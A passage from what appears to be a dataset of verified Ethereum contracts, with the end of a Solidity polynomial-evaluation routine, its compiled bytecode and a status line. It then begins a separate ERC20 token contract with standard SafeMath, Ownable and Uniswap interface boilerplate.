add(0x72c0dd24a576b47a84cdd1a20227773b5621f85b781c288625e3368e1cf738a, mulmod(
add(0x6dff267c3bbce68474294da908df4f5cf2a4160c638f7cb45c098057e968f44, mulmod(
add(0x842955243a56778a332ba9be0b22b2af62efaa50068d3078675fb76c225e76, mulmod(
add(0x14899e0f97aac917d46ce5e9ddf11194fb846d2c52726af4085f27c570a98a9, mulmod(
add(0x1bd842a4ec97e1489ceb542bd3161e5a00ce431547bfadfbced954d993b0a11, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4e23809ce49747990e43b2d976083dc84d67e75cf22e5a76ad5b7a2dca50b3d, mulmod(
add(0x40f019a18b8097235264cb8efee7d149321a199ccd32ffac43b5a778dfadda1, mulmod(
add(0x1495d40cf3f13c5fc90653c2b2f02e0b833790c07576286d3127f745ea920ae, mulmod(
add(0x7c3234094dff9a45064a5b9abd0667c04dd76c62722984f7f8475e7cc344c06, mulmod(
add(0x119bcf6402ad9953851bac8e318d50af699b0cc75e2597aff0a2cc521975aa4, mulmod(
add(0x1dbdc2ea2e555309578eeb2352fbc47c8fd5ed77cc09903b577700f9a4d1be1, mulmod(
add(0x76d656560dac569683063278ea2dee47d935501c2195ff53b741efe81509892, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x1cdf0446663046f35c26d51e45a5233a93c51f4f7f1985dfe130dd67addefa3, mulmod(
add(0x6df73a948c95439f3230282814ba7e26203cfdc725901e4971ad9cff4db4396, mulmod(
add(0x9969a08d753e885857a5696d1cafd39f62bb193acc99089df76c240acd2fc0, mulmod(
add(0x2065bc7a4aa38d5fe86f9b593ccd060f8d4a5a19a9ca8b182c32199a4bd27be, mulmod(
add(0x611384709c407d85c93256b6aff04c4ac515450c70cf507994165abfe2347b, mulmod(
add(0x9460aa25f77fc10cfcc4579e2011e39ce477a32a768aa553201e556ed2bbe1, mulmod(
add(0x7f0a3bec1d34f2fd632993a3d9c6432401cec25ad9d6196b909f3672980bd05, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x47dc0e209ee8d0b67f63d9e63837ff2ab462c4839bc14a1a3e802327ff0e31f, mulmod(
add(0x35ca7fa56aa38486833a976804899ba3c97fdaa0a23056cd2dc9bfdbcdd2e31, mulmod(
add(0x575531b404cdba72a63dbbd17aef7d9ae00f73eca7c6dcdaf5e0778c921be41, mulmod(
add(0x319c68159cdf104c2543486ff784860f302187d77effb9a5fefe4e16f0ddc2c, mulmod(
add(0x49aadcf98ef59c0e5d2097845949988862b96194abc8c5453f056f232482892, mulmod(
add(0x5030fda0c29a929e6cd634b9f3d1bf975c363012cfb439cae13495f8ce10225, mulmod(
add(0x59cbe680183d1dc3161ee7f945f38ab9461a5293748b2b7be84899e62c9860b, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x562f636b49796e469dfe9e6748c4468f340e8f69e3f79cfe6925a261198dbb3, mulmod(
add(0x7dd14b0299ff6064a96fe97e086df3f64a4c7e8b4a58a5bd5fe1b9cf7c61e7c, mulmod(
add(0x73c57ecea0c64a9bc087e50a97a28df974b294c52a0ef5854f53f69ef6773af, mulmod(
add(0x744bdf0c2894072564f6eca2d26efc03ef001bc6e78b34bf6be3a1a91fd90fc, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
}
return result % PRIME;
}
}
|
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c80635ed86d5c14610030575b600080fd5b61004d6004803603602081101561004657600080fd5b503561005f565b60408051918252519081900360200190f35b60007f080000000000001100000000000000000000000000000000000000000000000180838181818181818181818181818f097f023a2994e807cd40717d68f37e1d765f4354a81b12374c82f481f09f9faff31a01097f049d16d6e3720b63f7d1e74ed7fd8ea759132735c094c112c0e9dd8cc465382001097f06c930134c99ac7200d41939eb29fb4f4e380b3f2a11437dd01d12fd9ebe890901097f0347dfb13aea22cacbef33972ad3017a5a9bab04c296295d5d372bad5e076a8001097f062e62fafc55013ee6450e33e81f6ba8524e37558ea7df7c06785f3784a3d9a801097f023b940cd5c4f2e13c6df782f88cce6294315a1b406fda6137ed4a330bd80e3701097ef524ffcb160c3dfcc72d40b12754e2dc26433a37b8207934f489a2036281370191508083828584878689888b8a8d8c8f8f097f0603e3a8698c5c3a0b0b40a79ba0fdff25e5971f0ef0d3242ead1d1a413e443b01097ea401d8071183f0c7b4801d57de9ba6cda7bd67d7941b4507eab5a851a51b0901097f037d720cf4c846de254d76df8b6f92e93b839ee34bf528d059c3112d87080a3801097f05057b804cff6566354ca744df3686abec58eda846cafdc361a7757f58bd336e01097f076b4883fd523dff46e4e330a3dd140c3eded71524a67a56a75bd51d01d6b6ca01097f01058ff85f121d7902521abfa5f3f5c953fee83e0f58e069545f2fc0f4eda1ba01097f04eac8ffa98cdea2259f5c8ad87a797b29c9dccc28996aed0b545c075c17ebe10191508083828584878689888b8a8d8c8f8f097f06e7240c4a94fa3e10de72070fd2bf611af5429b7e83d53cfe1a758dee7d2a7901097f059fef071cf1eeff5303f28f4fe10b16471a2230766915d70b525d62871f6bc601097e480d06bb4222e222e39ab600b8aadf591db4c70bae30fe756b61564eec6c7e01097f07d2292c8660492e8a1ce3db5c80b743d60cdaac7f438b6feab02f8e2aade26001097f05a593d928542a100c16f3dc5344734c9ef474609bd7099257675cef0392fab801097f0761717d47600662a250116e2403b5115f4071de6e26e8dc231840eeb4484ec301097f04b74b468c4ef808ddcc6e582393940111941abece8a285da201171dc50525c70191508083828584878689888b8a8d8c8f8f097f014ef999212f88ca277747cc57dca607a1e7049232becedf47e98aca47c1d3fe01097f047b2a5ef58d331c30cfcd098ee011aaeae87781fd8ce2d7427c6b859229c52301097f059bd7fe1c9553495b493f875799d79fc86d0c26e794cce09c659c397c5c477801097f03ede75d46d49ceb580d53f8f0553a2e370138eb76ac5e734b39a55b958c847d01097f06e0bed1b41ee1cf8667c2924ebd460772a0cd97d68eaea63c6fa77bf73f9a9e01097f0739edb8cdd16692deaba7fb1bb03f55dd417891bacb39c7927969551f29cb3701097f0247573f2f3fbd5386eac2d26851f9512cd57ad19773b8ca119d20852b9b65380191508083828584878689888b8a8d8c8f8f097f02f6efb89f27d2c0a86ec1e6f231b225caf2af9be01aca173a15fa02b11fdf2401097f075a0f99a4dec1988f19db3f8b29eeef87836eb0c3d8493913b7502cfedcef2801097f0278a7c68986adbe634d44c882a1242147e276fee7962d4c69ca4c8747b3e49701097f0675532b80f5aaa605219de7fe8650e24fee1c3b0d36cdf4fb605f6215afacee01097f05599e790bd325b322395d63d96cd0bd1494d4648e3d1991d54c23d24a71434201097f043545892bb5a364c0b9acd28e36371bede7fd05e59a9dcd875c44ff68275b2b01097f038db61aa2a2b03053f5c51b155bc757b0634ce89baace113391369682fc1f740191508083828584878689888b8a8d8c8f8f097f071b2b6b03e8cc0365ac26c4dbf71e8d426167d79f8bd1af44738890c563062a01097f03a663fc27ec3ad56da89d407089bcec0971cebcb3edf0c393112501919643d701097f01030d58878296e14b1c5bcafe7e817ebe4aa1039aa96b9d0dd7fc915b23f42a01097ecb3335374cc2a2350fe53d2389f04952c4d634f489031742dfccca17be2e0901097f06ae3ee97ea5dcfbb7c36cffd89665baf114fae391c0367be688db09861a8ca101097f07b16c33c4a8ffcecbd83f382469e1d00a340ceab5e7d9c0bd4fd010b83f431001097f010f236430f20aafda49d1c3e3759c510fdf0c0c19f89df6d5d71deac88b547b0191508083828584878689888b8a8d8c8f8f097f0104b04e96151f5103118c4eb556cd79899148fd6656e73cb62f41b41d65e4d801097f0253bf2869135f4bda4029cae2819b2f468ae88530f3ea771090b2727814c49401097f065d50aa3c1d84a3deee14057eec98656a1296cdcbe32250bfdaa50ffac4c5dc01097f076323f8567119897f10d58e1552c98f5a62f03a16d3737e20fc2b0a31a3a84301097edaee1c7b34ecb34717b7313dc4a299dd1a161447e2e0249426a6fc33a7228901097f02bfd1294f111a5a90842d19cffb97481aefbc09ab6c47d7dcf91ba228019c0701097f04f63db02e10fbe428a5dda8d9093feef46cc19568a3c8ad2fce7e75190040950191508083828584878689888b8a8d8c8f8f097f0761a240cd8aa2f135daf0760bfc2c9d5e896e93a45426571cdad9118722e2b001097f030a2e8ac9e6605fd722dffb4caca8c06dd4a8968a7bf41a5371cb1a07d11c0001097e5ba89e0eb3830039d0f8a9ca00acef15db22374c965b01abc49dee46270a7d01097f07e8659c39d7a102a198f0e7c3814060926ec0410330dd1a13dfadeab4e7459301097f05a00feeb391114d7b976654ab16ddf8360f05671b34d4a97da278c0aef34d7601097f033ff2d848bf237f536524da818598ae0f2516ebee526b77957448973eefacd301097f04e0a5dd802deed7cb8d06527beb15dad32547bae77141c32473f4c8148912e30191508083828584878689888b8a8d8c8f8f097f0776459dfedbbdfcef7a31e0f60c6480fc0676b280fdb6290859fe586d6e610601097f059d0d8ca9ecda81081dfcae7580ab3c08a72195438c1556000c0c1dbdc0817401097f06eb66d366da57e4ae717307dfc3351579fe857c51aa82b95044473c9ed1437701097ea758a70ba6a0cbcbc65abfeca51359904f790752c3df55d42707253d8dea7001097f02046e1b4fd4c108e8f832f5bcc4dd46abf0d19ef0237beaec29d6c12fb9832e01097f0472d99d1a6e1a6aef339eab1af3d53af7a8326e4d0a6bac73c3a159031c368601097f01b0fa36439192f135c239918bf47ad14b55ced699f4582d929a60dd227b34ff0191508083828584878689888b8a8d8c8f8f097f0728dd423dbf134972cbc7c934407424743843dd438e0f229afbcca6ce34d07d01097f04e42531395d8b35bf28ccc6fab19ea1f63c635e5a3683ac9147306c1640e88701097f01ea9bd78c80641dbf20eddd35786028691180ddcf8df7c87552dee1525368ba01097f068a8c6f86a8c1ebaeb6aa72acef7fb5357b40700af043ce66d3dccee116510a01097f025c5f348c260177cd57b483694290574a936a4d585ea7cf55d114a8005b17d001097f0339b405bffb6dbb25bc0432e9c726b7f94e18cf1332ec7adfeb613345e935ab01097f023590dabe53e4ef12cba4a89b4741fcfaa232b7713d89df162031c8a627011e0191508083828584878689888b8a8d8c8f8f097f0534a4f3cf71c93023e473f12e407558b6c24b712204fd59ddc18c7bcddd571e01097f02e1b2a3c32aebc0be30addd8929c01714783aaf01be8a1d35e830646e8a54f001097f0605a244f646a825602891bf9ddffef80525010517b32625759b0bf5a7f2c38601097f04f81a946bb92416d212e4d54f2be5fa8043be6fa482b417d772bfa90be4e27301097f0655038ca08eba87484bc562e7fd50ce0584363278f9d716e31c650ee6989a2b01097f044938959c2e944eb6e5c52fc4ee40b34df37905fa348fa109f6875c1aa1800001097f030b11c32e8aab0c5908651a8d445395de52d5ce6a1efe75f2ad5e2c8c854a300191508083828584878689888b8a8d8c8f8f097f04a92733a733f225226a3d7f69297e7ff378b62c8a369e1bbf0accfd7fb0977e01097f01345876a6ab567477c15bf37cc95b4ec39ac287887b4407593203d76f85333401097f0580550e76557c8ff3368e6578a0e3bed0bac53b88fefdde88f00d7089bc175d01097f07d7faca17be1da74cf132dda889a05fce6e710af72897a941625ea07caa8b0101097f062be425458d26cfedf8ec23961cdfd9f4abeb21f1debbe87bd51469013358fe01097ed77a8e8eed7ce4931a6d2a4774c21864e2c9f468d080af9aba6756433a1a8d01097f03e850e31c0345726c1ace38537dd88a50c85d6819ae98add1bbd62b618f7a1c0191508083828584878689888b8a8d8c8f8f097f0375a5d9b11c83d06a04dc9f1908b8183adc6f04e5b2ceeaa23d3b68c973ee7701097f076640613af9ed1a125624e0c38252bee457ce87badb24fc4f961e55883d907701097f05428ff423f2bbabcb5f54aafa03d99a320b4b255115351f50b229eae552217801097e6dcfc3a99563a5ba4368ac4f11f43e830c5b620a7273330e841bedec0bfb5a01097f02652523cbbec2f84fae1a17397dac1965127650479e1d5ccfc6bfbfcbb6799601097ea737d6916aa6a869252d8ff294a55706e95e0844e6b047755704e37d978e0901097f02833391a62030808228d14437d6f91b31c0038c14988a23742b45e16f9b84b50191508083828584878689888b8a8d8c8f8f097e284f7815a7eabc1dcf56da511f7d739f1a199f8ffaf3474f645d2fc93327dc01097f01e141c5429a369996563573bf61d7f713cb7d25baadff636ba2756c65a910ee01097f060bdb98c079bd5cef216803b056afce03f6ea41934275c965d6e196240fb95301097f07f2abefac9e7f8109b0a2d25d0bd297059e45dd66798ac8b299f0a3e442dd2c01097f041776c662b44a36c7075097c14b6010cb321591a4eca2866d58252eaf9471ac01097f0573b13b32161c11c9b16eff7cf93fa770a3ef667547a27503e39092aeabf73e01097f0327319fcc0d34a0d64f5acab00244b43674a60bef754844fb2920c87c90cff00191508083828584878689888b8a8d8c8f8f097e755f0e4c374e2fa4aa7eda10041e2139a4a7793eea44f415c73ad4fcba175801097f07b9cd3b277f00a75a17961d2d8e46e6a1838c8500c569cdcad08bd4e0cbae8401097f021f5ea8660d290f28b9300e02ed84e110d7338a74503b369ad144a11cf79f6301097f05e4b0ecc6a6c15ed16c1c04e96538880785ff9b5bff350f37e83b6fed446f1401097f03d8506e792fa9ac86ac9739d3d5bf63cfc13c456a99c8581adf590c8d9b72eb01097f01e3b6498f0daba2fd99c2ac65461c3fa519cb738b53cd6f002e97199fa4161c01097f070930735d913d54915fba20c97f07cba8f33eb8f4f81fd869699a10e83264cd0191508083828584878689888b8a8d8c8f8f097e16a36769ee50227c564bebce3d9cd7c4ca55702a7c7ccf403075f68f05a0c201097f03aa748723229eb8b33354e0901f50ad052b6c1006916790c979133c4442be9001097f05db8c52b6adb520496f9edd7105c92df67e8605ff4e0cc59992c3eb651ac7a401097f04b2222d0aee638c7e5efd8ada791638ac155a01b78f3b532283574653998bb201097f026a4b2a61f40c1ad77737b99cb27d2f3118622be64f0120907e2589d2f25ebf01097f05820792f23a13d58ddef0607950d422598bb1f21888dace88929fbe7d4828c401097f03678de28b6896959edf5c9dc0caec59b02dfbbf54811f87939b32d0523f58bb0191508083828584878689888b8a8d8c8f8f097f03cd13f84bb7ae6eeccc1012837d2f3e017f069e66cf047172bc70371f5aed3801097f07af8995e2ceed8841e34d44365c7ca14f5980a6a5c67b9813fa7bfd74a9c1b101097f06d7af6524127a117184a0c12a6ff30d28b14933a4e96bb3b738d2a36db72e8401097f073200d12e733294b5cbb8ffe7fb3977088135d0b0e335135f9076d04a653c5801097f0229d7fc2a1bcfbe00d5773f8dadd70a2641d8578fa73e66263b3512d3e4049101097f029889daac66c404d6491ec3a435d810a2877d885df1a3a193697b79b4af39c401097f0171f0638dedf0b69655fa9930bcbc91b257e299a6717bd8ea23ef550c8faff50191508083828584878689888b8a8d8c8f8f097e0ded0f75cd0a6a5401a954d26880eaf12050ce6458d3254c9dd6354bf6627801097f07fc7d854c9d0b3bfbf826c384b3521af0f29f975613e8ea6dc14f37d8beb54c01097f06d1c3edcf1de16a4e0ad7d8aa099a31fa2cfbf81f6d1a5798bd1ef93ff906af01097f03444c0f008988c8f600270b365ff926f016e49a54ab35bac4f3b3a42a5879b101097f02a48058c77edcd75dd4323d9bb9eccb854009b1184fd716a8202f8627bb544701097f056cbe248ebbc2f57ca8b943b219ba245791592f687815293a4499ef598fa9b701097f0658160ea7b654d786dc624b258c691f594e080610c2d41d6ebea0d8e33968490191508083828584878689888b8a8d8c8f8f097f06fcc261ded0ba97b4defc7c9bcd32b5dac89e4c08cb55cef98c6b50f5a3a28901097f07b74edd15d97b289da4040272cfc573f69a8c9a8b36d05e3e50b598508b7f9d01097f019637a12aa8b822c4a3f3551ef6c538043371a12a962de1dc25d67e0a5ee56101097f04c05a7abaaf08f21d93b2257d4f4a3ab2b44f4ac44ce0444418c864ca18470b01097f0657060a10db73c4a9b6aa6288dd6164e0b50a4e6efbc2ee599a0cf4fda33b8101097f0688c61ee887c1497ffcef82163f1a81bf7778f2c314ffbd325627bf0b25dc5a01097f054ab13ae1984dcc7d38c867a47f4a8cf786079ee07cc94ab5ec1962c21f638b0191508083828584878689888b8a8d8c8f8f097eccee381472bb7dcae008316038c87a44fd9295f730e389eff14e86442c41b801097f0610bf9b7ea4557d72411ec90fb677f9a2ccb84c76f003954da4e7f439c9a84c01097e51d6322f7d582892421e977464b49c4e6e64af2438da9a7f21a061c77712dc01097f07d92a463e2aec09eb86f4647dc9ec241904135b5eb53ea272e809e58c0a271e01097f017ab90241b58bd3bd90b8a5c7f30aa9e5afeedbe1c31f21ca86c46c497b573c01097f0199d80ad30b4b330fc8a063d1e87307993e1d98822a1729488ba8a58604569101097e601a139ed75acbecf557cd6513171385a119087585111c30bbc1b65cd6d30d0191508083828584878689888b8a8d8c8f8f097f077b10e23b08892ab18cc6b14dfda6f4be5c2fec94a12e3622622376edd0d6a801097f02a17a5c34f9f598deb5bec334fde606eaa5601df908eb5825ecf70f9cecec3f01097f07e176a66dcfd58e240c4546cd760b7e5ad02e4f0265c6a2f38d710bbdf99d5501097f027e76848780aba5b12061bffefff1710995586618a2f32792d62771d31ed51901097e043f51dfe0f1cf290c9a522e2a5e734f79d220be80348438c676295c3d429e01097e0f1f93c3d919653f02fba06fcba1ab89497fff53eceff6a7d129887d5a9e3b01097f079fd6f5f9b042ece36af6b10eae2eef9de9c9dd18752eb66868a0c301015dd90191508083828584878689888b8a8d8c8f8f097f01958435eb08883bd69b6a56a8f3103c22f8ae206a3d4deaf4a04118b4dd6a6c01097f0329230075f64ffbf631eb0c40b97d71b4dc38a08bd18b638f57e5644680068c01097f0219557f1604be8622e697e986c03d2a49e40cce558a264bf4f1ebe06493eceb01097f07238f034b8c57c8b59b0f744ababf9da8229152a051d4f3b3c4995233ac111101097f0201019c76d9aa29a00e6b18a4eeac7b1322b44285c57cf4c0b68a87120b1d3101097f069d95f3c7892a1cf65b45c324be2294c4c5459e05e0feaa0b8bb98cd8bc958f01097f078aafbe80fa5ee9a846e991bf35b81567a6dcbb1b190e7ee47e53fc66422e840191508083828584878689888b8a8d8c8f8f097f015ba3c5a882d4dfe3e23db18368ade6b2d10ef52e34f12ce0d62e7183c10f7e01097f01a4bdaf2bff969eff8cef73e762b6346492b8d0f17b2e42956c526f625241ea01097f04adaabee9ab3c6ee7fc67a2ddc09c5185755dcc76cc3b814a6b71aa7ae542ea01097f02f47cde744314dc0502faffb0387a2e765e4354b0516ee9ab0b97a1b6c33ec201097e90b2b18b3fc2919a55b71ad6d6fa67dda752bd02c985b59e6554f557fe4a2e01097f06eba866251e1dca38a21c8b3fad0aa3c22a45dd89884c4c68bd7ef67de64f5201097eb8dd33ef8726747fb368aedf80c2f4a720bc1b5220f4a3f0e56e2fafb7e2430191508083828584878689888b8a8d8c8f8f097f01fac2f441d05a3b483675200cb1ebc6f4ca6ecc5ae60118fe8745f95217bf8b01097f06d28879c6f75c4ede18e1b94ffff964d08c79038fd9ba2e7873cbefb5f323db01097f028b38e0334fc06af4c94ec4f9434923d4149cc51817526597423fd4692c59ad01097e84add7269e2e41ea57aaed996f4c012ba7003ea2b994670cc0d554b7a8bd2a01097f064d672ca00300ddd5e9c9d2db433d7623bb54c8eb2db51b235a07616f1517e501097f07f71cb5526600d15d3413ec971ee3b133718224b3cbdc68171a53d7c868438201097f038e5702bb10256e1856a5bfb03a06b231b89a36e2f84af80bcd2d027153d8470191508083828584878689888b8a8d8c8f8f097f01a8d4b2044b8e03b325c353f3f92283013920b92f479064b6e93159d2ed3ba001097f068384718bd3bb23f32999f1edcb2dbddd8136259e676c4492d0cafe80ffd85601097f031a77aa370bb597dbdd0422612a7dd947aae09a5b0b17d1996f13a85103d15001097f040a9cea0394d15ef057c2923d4185f290fe2347e00529d92f927ef506e3b5e701097f02a427d70a34b6b5237894f065ef5d60a9872ba444d47d98648b080b8ddb2a6801097ee505592d606917f898c54a7afc45b328be3cd48121aee2e8f05185a3e23e5f01097f045b4e74f19b293bc3d3d172a101e344558fcf4ccfe5eecefe31f45a45614df70191508083828584878689888b8a8d8c8f8f097f068486394265c9dc8fae42c8fd39605d3179c981cb44cbe33740a3deb907bc5901097f02868a08eae382c069047152ee964ac5ebd242b44267e97e578802440ef764f501097f03159144c85f2c515eb806e5aedd908553057b69c556d226adc6e4511a35423c01097f04387edee6899d4a85883d2f8524978a4634ff82779f150b7b0c861bb315ed3f01097e68c5830832f6270a189b074d7675fcbc1d1c5cc06ce9c478bf8f4d5ac1bf4001097f0399c00b8ebb398248bb1f52528d5241e7366b73c2d89f57a11dc82c530cc57c01097f03238aeb8f6bea8bcaaa1bdd5b4f917ccfad8eab031785ccdc648b47d7ea4be80191508083828584878689888b8a8d8c8f8f097f0357bf5d87c973292381fa4320114551a837a1d6cb6e2bb0eeba534fb2e0174201097f0360274f27df6eeec0b7b65fbb227a8214ac3e55cb37b1970e18489ef5b574e101097f01cb6e2fba23730f5bf9d8e726569b6e8bf6b5ffe8520339503c5469cc3713a201097f03924324af1994280f87f289fdae0b9a2d8cb9914ec37d319c18daf02921181501097f03c4ad04a5a057e4411487858dbe16af8e3fc065ef7400749ffdc248bdb25bc501097f050c92b3e6848a21001be2a268615e1e26cb4918ecb09640efaaf1d8b71568fb01097f047d21828025d0cbab84084965a49dd14c7833aac562b55de808a94777df2ea30191508083828584878689888b8a8d8c8f8f097f06207c6a2fd70c19a10430566c9efaad95eab8cbddf308f0057c81f3155a25a001097f02d4acebd804035257147ad8d8419a5f5762b4b543c4846ef9acf41856e672ee01097f078f49c214872b5cce18ead0207a165fb741ea818a69cfe9647737323f70f4f501097f022aa8c5c5ff26f9a0edc768ae32ff4f71a71205b4e83cfa0cc687a1e02566ba01097f05dd2e0680c7eff25211f31d3c30a9f454500d6eb09d46d87a75a42b190203cb01097f05ac4bcdb9c14634ab83c13a30822ddbabc54248cf1177b11cc2aed24d2d32f501097e77dee5f03389585fad0d1f2a8accfa4cb985344891b8befaee42f3462cb48a0191508083828584878689888b8a8d8c8f8f097e0737dba18eb055a12d842bfae32fd146dcd2d7bb932a2591aa864458d6d65201097f023bf372b0b59abf250463697ef4b2096eb1c9674613918b4d0c79aa10d9fd5901097f073724274fdd351c378e597da1615dc51058e14994464cb7b318766199ac2a3501097f02e14e83be58cde3ed5f3fec8ba6462493a4a2f0f7d6c846006220eccd49ef2501097f04846d310812d81ffda3731e8289005e2f0e05411e76b1c84332c3ee9e831afb01097f0160abeb38bc4f22af5fe618c19c77c39903007900722bdbdeaee059f31544c801097f0264a535ae10091157ed59b04955dff66897af74cae20456bb830336b803ae470191508083828584878689888b8a8d8c8f8f097e316ce6b23e720b8302e2d4bd968c0f140f69930e46a54784a7cee7e0b8a0c801097f0775d95a0beb287c98663a3f9a9c577ffc67c1fe6fbe2db5b08829a2c3eac92201097f02353c4a418bdc1e461be162140cc69c26eb9d99f08924991f85058f87f6df4101097f0181ef9cde124459dc0e2aaf93512abd49a10328fb93dfc4d49ab671db64bbc401097e7ff76956e0cd2b490b47a0a0497df5f874cf47f54c45f08101256429b4846001097f0318e5a52d685eaa06e0f39159a344b3d97b52688b671d133954aeff0bc1770701097f07616cfc6834643d4b95ed1cfec036f816a7c3d3b9800f301f98ddf341712ebf0191508083828584878689888b8a8d8c8f8f097f059869515fb57ea7733567e5d849bcaa00c00e0f86f4ebbd2c7a6f4c0c77692b01097eb806f4e19770279fab5427b8eaf5bc68bf984d6ccea1e878a7aaf32c9975d901097f04fb0c93fe30da048576fe5e839483636218dfdda3d05f1d68847a4c0167597f01097f0685af2d7bbf30cd0c5c3d41c430a8657eeafeeb4596165faaa73d802087ad8001097f06f617dce150ea148cb8c7488fe4caa920b2000bc8122cce1891e4b76cddc9d401097f047f02fc512b153462379f4f793c7cab9e659bfdb07d3439d29039f566b7236d01097f04ce0a14a5a9c30a38062eb8870eeb4ff3562db743c0f3eede2e3d3862a2eb7c0191508083828584878689888b8a8d8c8f8f097f07b077d27c7007656025224fa4e528b4c4261f43c3da1e42bd1349403af55cbb01097f050f5f6adbf0b9abc6e231b855018f4ec806a4f199cc511bed5c423ebef298e401097f05fcfeb78685abb1ce610e516ab7e2aa210fd90844c8d1c89cd798f3d71bbcb301097f04255a568f4597862e1dfe0c391b97059d179d7eb4d868f61364835e5028f9dd01097f0206d7f23d0fe1b1c0967486ebb792d7fdf5b1691d2c2f9306e211d3b849526b01097ec61c74cc988663ee09f4c725d5b1f04549bd342d3550ce17427ac75592b63701097f0175a904681c7a91856bf7fcf8410d2c19eb8705267914489664a1ea2af5b8fe0191508083828584878689888b8a8d8c8f8f097f01bd842a4ec97e1489ceb542bd3161e5a00ce431547bfadfbced954d993b0a1101097f014899e0f97aac917d46ce5e9ddf11194fb846d2c52726af4085f27c570a98a901097e842955243a56778a332ba9be0b22b2af62efaa50068d3078675fb76c225e7601097f06dff267c3bbce68474294da908df4f5cf2a4160c638f7cb45c098057e968f4401097f072c0dd24a576b47a84cdd1a20227773b5621f85b781c288625e3368e1cf738a01097f0728771890334d0c9b0f400543bdc13ea6890497bc87c509a04f8014916c13a501097f030632b3865a272a1a00270430744ee90b40ff16e1fc44515876ce8e36215ca00191508083828584878689888b8a8d8c8f8f097f076d656560dac569683063278ea2dee47d935501c2195ff53b741efe8150989201097f01dbdc2ea2e555309578eeb2352fbc47c8fd5ed77cc09903b577700f9a4d1be101097f0119bcf6402ad9953851bac8e318d50af699b0cc75e2597aff0a2cc521975aa401097f07c3234094dff9a45064a5b9abd0667c04dd76c62722984f7f8475e7cc344c0601097f01495d40cf3f13c5fc90653c2b2f02e0b833790c07576286d3127f745ea920ae01097f040f019a18b8097235264cb8efee7d149321a199ccd32ffac43b5a778dfadda101097f04e23809ce49747990e43b2d976083dc84d67e75cf22e5a76ad5b7a2dca50b3d0191508083828584878689888b8a8d8c8f8f097f07f0a3bec1d34f2fd632993a3d9c6432401cec25ad9d6196b909f3672980bd0501097e9460aa25f77fc10cfcc4579e2011e39ce477a32a768aa553201e556ed2bbe101097e611384709c407d85c93256b6aff04c4ac515450c70cf507994165abfe2347b01097f02065bc7a4aa38d5fe86f9b593ccd060f8d4a5a19a9ca8b182c32199a4bd27be01097e9969a08d753e885857a5696d1cafd39f62bb193acc99089df76c240acd2fc001097f06df73a948c95439f3230282814ba7e26203cfdc725901e4971ad9cff4db439601097f01cdf0446663046f35c26d51e45a5233a93c51f4f7f1985dfe130dd67addefa30191508083828584878689888b8a8d8c8f8f097f059cbe680183d1dc3161ee7f945f38ab9461a5293748b2b7be84899e62c9860b01097f05030fda0c29a929e6cd634b9f3d1bf975c363012cfb439cae13495f8ce1022501097f049aadcf98ef59c0e5d2097845949988862b96194abc8c5453f056f23248289201097f0319c68159cdf104c2543486ff784860f302187d77effb9a5fefe4e16f0ddc2c01097f0575531b404cdba72a63dbbd17aef7d9ae00f73eca7c6dcdaf5e0778c921be4101097f035ca7fa56aa38486833a976804899ba3c97fdaa0a23056cd2dc9bfdbcdd2e3101097f047dc0e209ee8d0b67f63d9e63837ff2ab462c4839bc14a1a3e802327ff0e31f019150808382858487868989097f0744bdf0c2894072564f6eca2d26efc03ef001bc6e78b34bf6be3a1a91fd90fc01097f073c57ecea0c64a9bc087e50a97a28df974b294c52a0ef5854f53f69ef6773af01097f07dd14b0299ff6064a96fe97e086df3f64a4c7e8b4a58a5bd5fe1b9cf7c61e7c01097f0562f636b49796e469dfe9e6748c4468f340e8f69e3f79cfe6925a261198dbb30191508082816125d857fe5b06939250505056fea2646970667358221220e8d47583f937b4211d8b46cd6576bfca362fe810ab81bedb2d320a4a2c13de5864736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,908 |
0x44e86df97946afe07d2be94c168584d21231b282
|
/**
*Submitted for verification at Etherscan.io on 2021-12-11
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
